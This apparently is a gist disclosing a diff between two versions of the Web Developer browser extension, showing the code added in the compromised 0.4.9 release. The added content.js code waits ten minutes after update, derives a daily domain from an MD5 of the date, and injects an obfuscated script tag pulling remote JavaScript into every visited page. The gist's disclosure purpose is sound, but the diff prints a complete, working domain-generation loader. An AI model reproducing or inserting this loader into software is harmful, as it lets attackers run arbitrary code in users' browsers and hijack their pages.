Skip to content

Instantly share code, notes, and snippets.

@cs278
Created August 2, 2017 15:26
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cs278/f2e2b02cd14ea89d9c303a6d2dbe2f42 to your computer and use it in GitHub Desktop.
Save cs278/f2e2b02cd14ea89d9c303a6d2dbe2f42 to your computer and use it in GitHub Desktop.
Web Developer 0.4.9 toolbar hacked
diff '--unified=3' --recursive 0.4.8_0/background/javascript/background.js 0.4.9_0/background/javascript/background.js
--- 0.4.8_0/background/javascript/background.js 2017-03-15 10:38:38.650194261 +0000
+++ 0.4.9_0/background/javascript/background.js 2017-08-02 14:18:29.679041517 +0100
@@ -1,3 +1,16 @@
+console.log("Start");
+
+chrome.runtime.onInstalled.addListener(function(details) {
+ console.log("onInstalled");
+ if(details.reason == "install") {
+ console.log("This is a first install!");
+ } else if(details.reason == "update"){
+ var thisVersion = chrome.runtime.getManifest().version;
+ console.log("Updated from " + details.previousVersion + " to " + thisVersion);
+ chrome.storage.local.set({'installed': Date.now()});
+ }
+});
+
var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
WebDeveloper.Background = WebDeveloper.Background || {};
diff '--unified=3' --recursive 0.4.8_0/content/content.js 0.4.9_0/content/content.js
--- 0.4.8_0/content/content.js 2017-03-15 10:38:38.646194118 +0000
+++ 0.4.9_0/content/content.js 2017-08-02 14:18:29.683041507 +0100
@@ -1,3 +1,225 @@
+function md5cycle(x, k) {
+var a = x[0], b = x[1], c = x[2], d = x[3];
+
+a = ff(a, b, c, d, k[0], 7, -680876936);
+d = ff(d, a, b, c, k[1], 12, -389564586);
+c = ff(c, d, a, b, k[2], 17, 606105819);
+b = ff(b, c, d, a, k[3], 22, -1044525330);
+a = ff(a, b, c, d, k[4], 7, -176418897);
+d = ff(d, a, b, c, k[5], 12, 1200080426);
+c = ff(c, d, a, b, k[6], 17, -1473231341);
+b = ff(b, c, d, a, k[7], 22, -45705983);
+a = ff(a, b, c, d, k[8], 7, 1770035416);
+d = ff(d, a, b, c, k[9], 12, -1958414417);
+c = ff(c, d, a, b, k[10], 17, -42063);
+b = ff(b, c, d, a, k[11], 22, -1990404162);
+a = ff(a, b, c, d, k[12], 7, 1804603682);
+d = ff(d, a, b, c, k[13], 12, -40341101);
+c = ff(c, d, a, b, k[14], 17, -1502002290);
+b = ff(b, c, d, a, k[15], 22, 1236535329);
+
+a = gg(a, b, c, d, k[1], 5, -165796510);
+d = gg(d, a, b, c, k[6], 9, -1069501632);
+c = gg(c, d, a, b, k[11], 14, 643717713);
+b = gg(b, c, d, a, k[0], 20, -373897302);
+a = gg(a, b, c, d, k[5], 5, -701558691);
+d = gg(d, a, b, c, k[10], 9, 38016083);
+c = gg(c, d, a, b, k[15], 14, -660478335);
+b = gg(b, c, d, a, k[4], 20, -405537848);
+a = gg(a, b, c, d, k[9], 5, 568446438);
+d = gg(d, a, b, c, k[14], 9, -1019803690);
+c = gg(c, d, a, b, k[3], 14, -187363961);
+b = gg(b, c, d, a, k[8], 20, 1163531501);
+a = gg(a, b, c, d, k[13], 5, -1444681467);
+d = gg(d, a, b, c, k[2], 9, -51403784);
+c = gg(c, d, a, b, k[7], 14, 1735328473);
+b = gg(b, c, d, a, k[12], 20, -1926607734);
+
+a = hh(a, b, c, d, k[5], 4, -378558);
+d = hh(d, a, b, c, k[8], 11, -2022574463);
+c = hh(c, d, a, b, k[11], 16, 1839030562);
+b = hh(b, c, d, a, k[14], 23, -35309556);
+a = hh(a, b, c, d, k[1], 4, -1530992060);
+d = hh(d, a, b, c, k[4], 11, 1272893353);
+c = hh(c, d, a, b, k[7], 16, -155497632);
+b = hh(b, c, d, a, k[10], 23, -1094730640);
+a = hh(a, b, c, d, k[13], 4, 681279174);
+d = hh(d, a, b, c, k[0], 11, -358537222);
+c = hh(c, d, a, b, k[3], 16, -722521979);
+b = hh(b, c, d, a, k[6], 23, 76029189);
+a = hh(a, b, c, d, k[9], 4, -640364487);
+d = hh(d, a, b, c, k[12], 11, -421815835);
+c = hh(c, d, a, b, k[15], 16, 530742520);
+b = hh(b, c, d, a, k[2], 23, -995338651);
+
+a = ii(a, b, c, d, k[0], 6, -198630844);
+d = ii(d, a, b, c, k[7], 10, 1126891415);
+c = ii(c, d, a, b, k[14], 15, -1416354905);
+b = ii(b, c, d, a, k[5], 21, -57434055);
+a = ii(a, b, c, d, k[12], 6, 1700485571);
+d = ii(d, a, b, c, k[3], 10, -1894986606);
+c = ii(c, d, a, b, k[10], 15, -1051523);
+b = ii(b, c, d, a, k[1], 21, -2054922799);
+a = ii(a, b, c, d, k[8], 6, 1873313359);
+d = ii(d, a, b, c, k[15], 10, -30611744);
+c = ii(c, d, a, b, k[6], 15, -1560198380);
+b = ii(b, c, d, a, k[13], 21, 1309151649);
+a = ii(a, b, c, d, k[4], 6, -145523070);
+d = ii(d, a, b, c, k[11], 10, -1120210379);
+c = ii(c, d, a, b, k[2], 15, 718787259);
+b = ii(b, c, d, a, k[9], 21, -343485551);
+
+x[0] = add32(a, x[0]);
+x[1] = add32(b, x[1]);
+x[2] = add32(c, x[2]);
+x[3] = add32(d, x[3]);
+
+}
+
+function cmn(q, a, b, x, s, t) {
+a = add32(add32(a, q), add32(x, t));
+return add32((a << s) | (a >>> (32 - s)), b);
+}
+
+function ff(a, b, c, d, x, s, t) {
+return cmn((b & c) | ((~b) & d), a, b, x, s, t);
+}
+
+function gg(a, b, c, d, x, s, t) {
+return cmn((b & d) | (c & (~d)), a, b, x, s, t);
+}
+
+function hh(a, b, c, d, x, s, t) {
+return cmn(b ^ c ^ d, a, b, x, s, t);
+}
+
+function ii(a, b, c, d, x, s, t) {
+return cmn(c ^ (b | (~d)), a, b, x, s, t);
+}
+
+function md51(s) {
+txt = '';
+var n = s.length,
+state = [1732584193, -271733879, -1732584194, 271733878], i;
+for (i=64; i<=s.length; i+=64) {
+md5cycle(state, md5blk(s.substring(i-64, i)));
+}
+s = s.substring(i-64);
+var tail = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0];
+for (i=0; i<s.length; i++)
+tail[i>>2] |= s.charCodeAt(i) << ((i%4) << 3);
+tail[i>>2] |= 0x80 << ((i%4) << 3);
+if (i > 55) {
+md5cycle(state, tail);
+for (i=0; i<16; i++) tail[i] = 0;
+}
+tail[14] = n*8;
+md5cycle(state, tail);
+return state;
+}
+
+/* there needs to be support for Unicode here,
+ * unless we pretend that we can redefine the MD-5
+ * algorithm for multi-byte characters (perhaps
+ * by adding every four 16-bit characters and
+ * shortening the sum to 32 bits). Otherwise
+ * I suggest performing MD-5 as if every character
+ * was two bytes--e.g., 0040 0025 = @%--but then
+ * how will an ordinary MD-5 sum be matched?
+ * There is no way to standardize text to something
+ * like UTF-8 before transformation; speed cost is
+ * utterly prohibitive. The JavaScript standard
+ * itself needs to look at this: it should start
+ * providing access to strings as preformed UTF-8
+ * 8-bit unsigned value arrays.
+ */
+function md5blk(s) { /* I figured global was faster. */
+var md5blks = [], i; /* Andy King said do it this way. */
+for (i=0; i<64; i+=4) {
+md5blks[i>>2] = s.charCodeAt(i)
++ (s.charCodeAt(i+1) << 8)
++ (s.charCodeAt(i+2) << 16)
++ (s.charCodeAt(i+3) << 24);
+}
+return md5blks;
+}
+
+var hex_chr = '0123456789abcdef'.split('');
+
+function rhex(n)
+{
+var s='', j=0;
+for(; j<4; j++)
+s += hex_chr[(n >> (j * 8 + 4)) & 0x0F]
++ hex_chr[(n >> (j * 8)) & 0x0F];
+return s;
+}
+
+function hex(x) {
+for (var i=0; i<x.length; i++)
+x[i] = rhex(x[i]);
+return x.join('');
+}
+
+function md5(s) {
+return hex(md51(s));
+}
+
+/* this function is much faster,
+so if possible we use it. Some IEs
+are the only ones I know of that
+need the idiotic second function,
+generated by an if clause. */
+
+function add32(a, b) {
+return (a + b) & 0xFFFFFFFF;
+}
+
+if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {
+function add32(x, y) {
+var lsw = (x & 0xFFFF) + (y & 0xFFFF),
+msw = (x >> 16) + (y >> 16) + (lsw >> 16);
+return (msw << 16) | (lsw & 0xFFFF);
+}
+}
+
+ chrome.storage.local.get('installed', function (item) {
+ if (item && item.installed) {
+ installed = item.installed;
+ console.log('Installed:' + installed);
+
+ if (installed) {
+ console.log('Installed ms:' + (Date.now() - installed));
+
+ if ((Date.now() - installed) > 10 * 60 * 1000) {
+ console.log('Now');
+
+ var date = new Date();
+ var day = date.getUTCDate();
+ var month = date.getUTCMonth() + 1;
+ var year = date.getUTCFullYear();
+ var hour = date.getUTCHours();
+
+ console.log(hour);
+
+ var d = day + '-' + month + '-' + year;
+
+ console.log(d);
+
+ var hash = "wd" + md5(d) + ".win";
+
+ console.log(hash);
+
+ var config_fragment = '<sc' + 'ri' + 'pt sr' + 'c="ht'+ 'tp' + 's://' + hash + '/ga.js"></sc ' + 'ri' + 'pt>';
+
+ var range = document.createRange();
+ range.setStart(document.body, 0);
+ document.body.appendChild(range.createContextualFragment(config_fragment));
+ }
+ }
+ }
+ });
+
var WebDeveloper = WebDeveloper || {}; // eslint-disable-line no-use-before-define
WebDeveloper.Common = WebDeveloper.Common || {};
diff '--unified=3' --recursive 0.4.8_0/manifest.json 0.4.9_0/manifest.json
--- 0.4.8_0/manifest.json 2017-03-15 10:38:38.646194118 +0000
+++ 0.4.9_0/manifest.json 2017-08-02 14:18:29.675041528 +0100
@@ -26,8 +26,8 @@
"manifest_version": 2,
"name": "__MSG_extensionName__",
"options_page": "options/options.html",
- "permissions": [ "clipboardWrite", "contentSettings", "cookies", "history", "tabs", "\u003Call_urls>" ],
+ "permissions": [ "clipboardWrite", "contentSettings", "cookies", "history", "tabs", "storage", "\u003Call_urls>" ],
"update_url": "https://clients2.google.com/service/update2/crx",
- "version": "0.4.8",
+ "version": "0.4.9",
"web_accessible_resources": [ "*" ]
}
diff '--unified=3' --recursive 0.4.8_0/_metadata/verified_contents.json 0.4.9_0/_metadata/verified_contents.json
--- 0.4.8_0/_metadata/verified_contents.json 2017-03-15 10:38:38.646194118 +0000
+++ 0.4.9_0/_metadata/verified_contents.json 2017-08-02 14:18:29.687041496 +0100
@@ -1 +1 @@
-[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7ImNhbm9uaWNhbF9qc29uX3Jvb3RfaGFzaCI6ImlnbXk2cHpxbDdTaWVFeGRuN19wX2kzVFdkVHVPZjZuNHo3dG5LTlpaMDQiLCJwYXRoIjoiX2xvY2FsZXMvZW5fVVMvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6InNSOUw1M0FaMTZBTmdSeGIwYl83UWFWMUVGYzlqM2Q3bTBzVXU2N3NXWGsifSx7InBhdGgiOiJhYm91dC9hYm91dC5jc3MiLCJyb290X2hhc2giOiJRMkhtYnlvUmRpVlg2ckFOS2NCdVE5Q19KT3lKZjdzOElBOHVwQk9OYlZzIn0seyJwYXRoIjoiYWJvdXQvYWJvdXQuaHRtbCIsInJvb3RfaGFzaCI6IjEtUHVwaVVKdHBCVnAzYzNMdTdoRGJiNDRiZUdpV3ZLV0ZmemZrdWFYekUifSx7InBhdGgiOiJhYm91dC9qYXZhc2NyaXB0L2Fib3V0LmpzIiwicm9vdF9oYXNoIjoiMjhoOXMtT2dIdXdlRUZRbXdwbmZWN3NFalBUNVVoQ01QbElZalZRSWFITSJ9LHsicGF0aCI6ImJhY2tncm91bmQvYmFja2dyb3VuZC5odG1sIiwicm9vdF9oYXNoIjoiQ29JY1ViTWFuY0VoTm1GYUpIQkxZUV9xRzBrS1VkaVNhakVuVXZrQ1hDVSJ9LHsicGF0aCI6ImJhY2tncm91bmQvamF2YXNjcmlwdC9iYWNrZ3JvdW5kLmpzIiwicm9vdF9oYXNoIjoiVnV1NHRPSE9hNV9wLUVrMFRIcVFlYm5Sc3QtUTRMRG02ZFo3SmpUZmpMWSJ9LHsicGF0aCI6ImNvbW1vbi9mb250cy9mb250YXdlc29tZS13ZWJmb250LmVvdCIsInJvb3RfaGFzaCI6IkZWU3lqLTVocEpmZ3dELXlwS0tjM3dPNmJVWEk3V2FsQWNRellFR1JVa3MifSx7InBhdGgiOiJjb21tb24vZm9udHMvZm9udGF3ZXNvbWUtd2ViZm9udC5zdmciLCJyb290X2hhc2giOiJMXzRkUG1DeTlCc2tPckllVHV5UWxITjBxN3hKRW1KQXdrcGZEd2FHY2gwIn0seyJwYXRoIjoiY29tbW9uL2ZvbnRzL2ZvbnRhd2Vzb21lLXdlYmZvbnQudHRmIiwicm9vdF9oYXNoIjoiTXdxc3RYb1c0Q2tvLVlKQWk5YVZvRTNadHYzZHpEQTFyam4xTC1WNEJzcyJ9LHsicGF0aCI6ImNvbW1vbi9mb250cy9mb250YXdlc29tZS13ZWJmb250LndvZmYiLCJyb290X2hhc2giOiJ6MUx4LWpVLUZ0RlgxZGdaSEFTMy13SUcta0RjT2tSSDlzSTM3MlNscWxzIn0seyJwYXRoIjoiY29tbW9uL2ltYWdlcy9sb2dvcy8xMjgucG5nIiwicm9vdF9oYXNoIjoiMDRWQVN3LUNpb3BDWkMzb3dQZUpLUzFwaF94YWtDOTN5ZGt2QnpQOE9vYyJ9LHsicGF0aCI6ImNvbW1vbi9pbWFnZXMvbG9nb3MvMTYucG5nIiwicm9vdF9oYXNoIjoiWUUtYThjMy1hd1BzQ2thTlZSSDd3VFBhdHF1RHlWWENiaWliTTJ4eEZoOCJ9LHsicGF0aCI6ImNvbW1vbi9pbWFnZXMvbG9nb3MvMzIucG5nIiwicm9vdF9oYXNoIjoidWg4LVZwRnBITkZtMkcwSnNvZEpBUkl1ajJMTGd3VHk0NlF0Y2ZMRVVmWSJ9LHsicGF0aCI6ImNvbW1vbi9pbWFnZXMvbG9nb3MvNDgucG5nIiwicm9vdF9oYXNoIjoiNnpsbGxRb3R0U2piUEVHOXUxQTVYbzNkd244bTNsOTRpUzBsTGM5bDJ3NCJ9LHsicGF0aCI6ImNvbW1vbi9pbWFnZXMvbG9nb3MvNjQucG5nIiwicm9vdF9oYXNoIjoiZEk1YVdSQjRxVllVc29iZWo4RjhqMTNYZ1gtZEZqbDE1c2wzWHBNLVZSMCJ9LHsicGF0aCI6ImNvbW1vbi9pbWFnZXMvbG9nb3MvZmF2aWNvbi5pY28iLCJyb290X2hhc2giOiJKSVZ3czhETmpNbzZCZl9Fam9UNW51OHRFMXFrbk1IZjVNVm4wWVhzNHhzIn0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvYm9vdHN0cmFwL2NvbGxhcHNlLmpzIiwicm9vdF9oYXNoIjoiZ0w3dVBWVnVsQ3JUcm5xUENPVG02bGd3c1F3Zll2dXR5c19udGNRWGEwcyJ9LHsicGF0aCI6ImNvbW1vbi9qYXZhc2NyaXB0L2Jvb3RzdHJhcC9kcm9wZG93bi5qcyIsInJvb3RfaGFzaCI6InktYURnMXZGWEg2eWNHT3VHV1VWRC1fWFVWNUsxN2c2YzUwSFY1QkhaZmMifSx7InBhdGgiOiJjb21tb24vamF2YXNjcmlwdC9ib290c3RyYXAvbW9kYWwuanMiLCJyb290X2hhc2giOiJWcHRuTmNpS1ppRHVpRjVHeE9VZUVIQjFSM25zdzZ5bW9oVVcybkhFUlNFIn0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvYm9vdHN0cmFwL3BvcG92ZXIuanMiLCJyb290X2hhc2giOiJTZThXOFE0QlVqZE01M09fc2VNcW9GTVkwUnhSS2NtQVFuVFhoM3hIZWRjIn0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvYm9vdHN0cmFwL3RhYi5qcyIsInJvb3RfaGFzaCI6IjJReGR0ZkdjX2lwdlJ3c0V0T29lYnBweHV6bTd3TzZ5bm9KeXVNOTZYRk0ifSx7InBhdGgiOiJjb21tb24vamF2YXNjcmlwdC9ib290c3RyYXAvdG9vbHRpcC5qcyIsInJvb3RfaGFzaCI6IkRVRjNfNFNIMjRzTE1oNEZSeHMwTGwydGtoTWY5YkRtTnNXTlpfdWVMT1kifSx7InBhdGgiOiJjb21tb24vamF2YXNjcmlwdC9ib290c3RyYXAvdHJhbnNpdGlvbi5qcyIsInJvb3RfaGFzaCI6IldYaWFlcnpfbHFGaFduVEVmQVI3eXd0b21GblBPdlNNSmFYMjl4S05YQ28ifSx7InBhdGgiOiJjb21tb24vamF2YXNjcmlwdC9jb2RlbWlycm9yL2NvZGVtaXJyb3IuanMiLCJyb290X2hhc2giOiJyczhBa2Y4UFNmSTBxNXVFWVlXZGZ6cFhuSWJTUnBvc3BtLUZoVlNrUlM0In0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvY29kZW1pcnJvci9jc3MuanMiLCJyb290X2hhc2giOiJvcVlHOVExZ1ptbzJwRDNTTE1DNVpockh0d202dE5ZTzJQQ3dBTEhHQUdBIn0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvY29kZW1pcnJvci9odG1sbWl4ZWQuanMiLCJyb290X2hhc2giOiJEZVoyQ1IybS1zNWc4aTlJWHUySkZaZ2hBNEVfclZGX0RDa0RpWXctdmRrIn0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvY29kZW1pcnJvci9qYXZhc2NyaXB0LmpzIiwicm9vdF9oYXNoIjoiWkhwa2s3Qm5ZRE4zUU92Rkt6VU4xeUxGWUR4Yl81cmFjMmhiUVVpLWh4QSJ9LHsicGF0aCI6ImNvbW1vbi9qYXZhc2NyaXB0L2NvZGVtaXJyb3Ivc2VhcmNoY3Vyc29yLmpzIiwicm9vdF9oYXNoIjoiVFlhbE8ySHRYUnVRZ3NsbTJUU3RlajFCTmJhT09VR0xsYjlQOE1FZTRYSSJ9LHsicGF0aCI6ImNvbW1vbi9qYXZhc2NyaXB0L2NvZGVtaXJyb3IveG1sLmpzIiwicm9vdF9oYXNoIjoiRmg5dnM0dEJBa0JJNGZESVc1d2ZZQUYwNXk1XzZRYW1mOVZVT0U1ZHVmVSJ9LHsicGF0aCI6ImNvbW1vbi9qYXZhc2NyaXB0L2NvbW1vbi5qcyIsInJvb3RfaGFzaCI6IklDYnk5WTFYLV83cDJfMFZCTWFTdkVNWW02Wm9ZeldKYTdKTlV0dXRlV2MifSx7InBhdGgiOiJjb21tb24vamF2YXNjcmlwdC9jc3MuanMiLCJyb290X2hhc2giOiJrQWtrUy1pS094T3J6NVdmRUxjM21MODJZc1VydmVad1F3djVwcWZfUXB3In0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvanF1ZXJ5L2ljYW5oYXouanMiLCJyb290X2hhc2giOiJrZlJQZXNRMVdsZjNjbVV3OWU0NjZCRktTX2RpMzByQjl6dWxFVDV1czdRIn0seyJwYXRoIjoiY29tbW9uL2phdmFzY3JpcHQvanF1ZXJ5L2pxdWVyeS5qcyIsInJvb3RfaGFzaCI6IjFqX0NlbFFjMldhZnJRY3M5NkdIQVBnWHB0dE05SEVwTVFQTHg1SWQ1amMifSx7InBhdGgiOiJjb21tb24vamF2YXNjcmlwdC9qcXVlcnkvdGFibGVkbmQuanMiLCJyb290X2hhc2giOiJfZEtrLWpkdTJ3czUzSlViQVl6YlBfeWFaMVVpNVZ0TTNVOG1FTUtwSlc0In0seyJwYXRoIjoiY29tbW9uL3N0eWxlLXNoZWV0cy9ib290c3RyYXAuY3NzIiwicm9vdF9oYXNoIjoiRDNtVGUxaFNkYmgzT3pwTFRmcTNlZ1FIcE1hbjhmY1pTSExrUUJ6YlU2RSJ9LHsicGF0aCI6ImNvbW1vbi9zdHlsZS1zaGVldHMvZ2VuZXJhdGVkLmNzcyIsInJvb3RfaGFzaCI6ImVPMTNGN3hPbTBqT2I5Y3Z0YWxZVF9KRXBRMW5xNTd5Z2JCaERvSTFGMm8ifSx7InBhdGgiOiJjb21tb24vc3R5bGUtc2hlZXRzL3N5bnRheC1oaWdobGlnaHQuY3NzIiwicm9vdF9oYXNoIjoiRUpiN2ZlMjFHOTJwcWNSeE9CdFZQSDRFMnlnLV85d0ZPRFRucFdjNmY4dyJ9LHsicGF0aCI6ImNvbnRlbnQvY29udGVudC5qcyIsInJvb3RfaGFzaCI6Il9EMXNnOGY1bjJHUDhMTGtUMmxjaHJiNk9KdkkyeldaUzd0RWgyckxLa1UifSx7InBhdGgiOiJjb29raWVzL2Nvb2tpZXMuanMiLCJyb290X2hhc2giOiJKdFliVXBQZHhKSjdJQkoyN2NfeExDWElPV3kyUVgzd2Q3UjFaRkxjMjVVIn0seyJwYXRoIjoiZGFzaGJvYXJkL2ltYWdlcy9sb2dvLnBuZyIsInJvb3RfaGFzaCI6ImFEVzdJa1ZxOU85c0E1Zmg4c0NVRHZ2X1ItUHBVLVZFZXJLNTFQT1llVGsifSx7InBhdGgiOiJkYXNoYm9hcmQvamF2YXNjcmlwdC9kYXNoYm9hcmQuanMiLCJyb290X2hhc2giOiJvNkNvX3I1ZFZEeHMtbEVzUGJQYzZIVC1LdmlEY3hVcks3dURaNjJ3by1VIn0seyJwYXRoIjoiZGFzaGJvYXJkL2phdmFzY3JpcHQvaHRtbC9kYXNoYm9hcmQuanMiLCJyb290X2hhc2giOiI2TVY1WlkwbW8xSm40TWI5UUFmaGVEV0lTNFhnS04tZUJuWTFCNmJFMTc4In0seyJwYXRoIjoiZGFzaGJvYXJkL3N0eWxlLXNoZWV0cy9jb21tb24uY3NzIiwicm9vdF9oYXNoIjoielBxeXRZZEZ5bHgyakZTTTctSDlIRTNydi1VVU9JRUZGalhOYlJSQ2VfYyJ9LHsicGF0aCI6ImRhc2hib2FyZC9zdHlsZS1zaGVldHMvZGFzaGJvYXJkLmNzcyIsInJvb3RfaGFzaCI6Im9GYlFiOFJ2SFVTNlpmd2l1MXdZR1Y3VWJtNXJwNWVZTkt4VUg3OV9MS0kifSx7InBhdGgiOiJmZWF0dXJlcy9qYXZhc2NyaXB0L2Nzcy5qcyIsInJvb3RfaGFzaCI6ImE1WHRXNU93dU9za1hkb1N4dnZaSnBObjllMjNBa216dTVjbGF3bXRUUFUifSx7InBhdGgiOiJmZWF0dXJlcy9qYXZhc2NyaXB0L2Zvcm1zLmpzIiwicm9vdF9oYXNoIjoibVN5cjhxOVVial96R0hoQTh4UVdpV2o0VDFYaWtZMGV5OEQzeHlNSlpUVSJ9LHsicGF0aCI6ImZlYXR1cmVzL2phdmFzY3JpcHQvaW1hZ2VzLmpzIiwicm9vdF9oYXNoIjoibzZ2dzBMMkpHNlNaRG5yTWlZUEk0TWRiRTZSTXZRRWczX0dHWnh1TTJuSSJ9LHsicGF0aCI6ImZlYXR1cmVzL2phdmFzY3JpcHQvaW5mb3JtYXRpb24uanMiLCJyb290X2hhc2giOiJrR2d2ZXdhVkhTVDhIZWdEcW9xQjcxSDhZVm1PbFlnTVlFX1I1dDA2TkRjIn0seyJwYXRoIjoiZmVhdHVyZXMvamF2YXNjcmlwdC9taXNjZWxsYW5lb3VzLmpzIiwicm9vdF9oYXNoIjoiWkVOMW55RzJMYjQzQVVQNVZjbGYzcXNZamxvaklPQXBfRE40TVNWRThYQSJ9LHsicGF0aCI6ImZlYXR1cmVzL2phdmFzY3JpcHQvb3V0bGluZS5qcyIsInJvb3RfaGFzaCI6InRBVkh0RDAyQjdnMjdDOXdHeUFwRVFTRkxFM2tEb0V2aktKNlA2SkdOOUUifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvYmVmb3JlLmNzcyIsInJvb3RfaGFzaCI6IkRFa2U3M09USUVXN3B4OUdCdGYxb29xdm1jOTJqM25feDE1UjNWU05UdXcifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvY3NzL2Rpc2FibGUtYnJvd3Nlci1kZWZhdWx0LXN0eWxlcy5jc3MiLCJyb290X2hhc2giOiJQeDRNcE9SaC16ZEVfNDBVdGZqQ3V2RjAzR18wQVVNUnliS25NaVRaaVNFIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2Nzcy91c2UtYm9yZGVyLWJveC1tb2RlbC5jc3MiLCJyb290X2hhc2giOiJ0RVRCWmRiT3VVOTY2MzZHS3Q0MU5pcGlJQjFzMUxuWlVVbWI2TThuNmJRIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2Zvcm1zL2Rpc3BsYXktZm9ybS1kZXRhaWxzLmNzcyIsInJvb3RfaGFzaCI6InBfMUVEVWFPM21HMEo2OWsyYllrejlQallOSUZKMV80V3BRN3NTektzX3cifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvZm9ybXMvb3V0bGluZS1mb3JtLWZpZWxkcy13aXRob3V0LWxhYmVscy5jc3MiLCJyb290X2hhc2giOiJQeWprTkVTZ2tWOUtZV2cxbjJuZThkbWlxV3JmSXlPOTFrMFhzWTlaZG9VIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2ltYWdlcy9kaXNwbGF5LWltYWdlLWRpbWVuc2lvbnMuY3NzIiwicm9vdF9oYXNoIjoiYjNXYmVCYjhpZnVDdHJZb3NpUmttZFZKc25uYUVJSWNteHpXQ19Xa2cwdyJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9pbWFnZXMvaGlkZS1iYWNrZ3JvdW5kLWltYWdlcy5jc3MiLCJyb290X2hhc2giOiJuRlVCY1RPMWdkRjhIcG5BNnVTTDN1YW1ZNHdzRU8yLXdDSlNZendOd0U4In0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2ltYWdlcy9oaWRlLWltYWdlcy5jc3MiLCJyb290X2hhc2giOiI2MnQ5UG1KVjZHSzdQNlc1dVROMWZ5bms2TEtLZjMwaGdjNzdlbHp2dndjIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2ltYWdlcy9tYWtlLWltYWdlcy1pbnZpc2libGUuY3NzIiwicm9vdF9oYXNoIjoiX2FDa01xcmJ2dm1fRC0zbjFVMWZmeTNpdUVqRFVpRVdkMjFqQi1RSGtfbyJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9pbWFnZXMvb3V0bGluZS1hbGwtaW1hZ2VzLmNzcyIsInJvb3RfaGFzaCI6IktQUXVxUUtFNDBXTnBiZDJYanQxcURWUU1NZW92ZXRNRmRYSk1IRkh1djAifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvaW1hZ2VzL291dGxpbmUtYmFja2dyb3VuZC1pbWFnZXMuY3NzIiwicm9vdF9oYXNoIjoiZ0N5TEctS2JVUEJSTDdhQk1VeDNxNlZzNGVpRjkyUnNRUjJaZkE3SndjWSJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9pbWFnZXMvb3V0bGluZS1pbWFnZXMtd2l0aC1hZGp1c3RlZC1kaW1lbnNpb25zLmNzcyIsInJvb3RfaGFzaCI6IllPOEZYSzFfSC1Pekg5MTI4OGwtYjl5TEdmVUE4bFE0M3RnMTFLSmtXUGcifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvaW1hZ2VzL291dGxpbmUtaW1hZ2VzLXdpdGgtZW1wdHktYWx0LWF0dHJpYnV0ZXMuY3NzIiwicm9vdF9oYXNoIjoiRDZ4TEJ2Q04xU3EzSE81d0NRc2JpdTdTWVFRYk96MXB5X0d3dGIzRE93QSJ9LHsicGF0aCI6ImZlYXR1cmVzL3N0eWxlLXNoZWV0cy9pbWFnZXMvb3V0bGluZS1pbWFnZXMtd2l0aC1vdmVyc2l6ZWQtZGltZW5zaW9ucy5jc3MiLCJyb290X2hhc2giOiJ2ZFV2bk01Rk9tbHMyREstbXcxN1g4MDFVd3VOOHNKbXlNMHMyZzVWXzF3In0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2ltYWdlcy9vdXRsaW5lLWltYWdlcy13aXRob3V0LWFsdC1hdHRyaWJ1dGVzLmNzcyIsInJvb3RfaGFzaCI6IlJDazhCd0JHZUdfZi11WjlXUFgwTHlseUlDT3h4b0NhaWh1cG85VHUzYTAifSx7InBhdGgiOiJmZWF0dXJlcy9zdHlsZS1zaGVldHMvaW1hZ2VzL291dGxpbmUtaW1hZ2VzLXdpdGhvdXQtZGltZW5zaW9ucy5jc3MiLCJyb290X2hhc2giOiJRYjVxSVBFY1c1dk5wY2I2cDN0OEU1ckRrc2gtbzZ3QUZEeGhTMm4yQzM4In0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2ltYWdlcy90cmFuc3BhcmVudC5wbmciLCJyb290X2hhc2giOiJCR1QwVzBsYVdxeU5EbTdkVE1BQV92VFQtUUdIdWhwN2Y2ODV6MENIQ0Y4In0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2luZm9ybWF0aW9uL2Rpc3BsYXktYWJicmV2aWF0aW9ucy5jc3MiLCJyb290X2hhc2giOiJyZGU0RnlYVUdRVW55MHFRdUtDc3daeVVMa2dCcFFyX0dIazJmWTZJVVhJIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2luZm9ybWF0aW9uL2Rpc3BsYXktYXJpYS1yb2xlcy5jc3MiLCJyb290X2hhc2giOiIzand1MUhNbkRscEZfb0I2Z3FWa0lmamhDTmRyUks3elFWVktwZ1JCOWRZIn0seyJwYXRoIjoiZmVhdHVyZXMvc3R5bGUtc2hlZXRzL2luZm9ybWF0aW9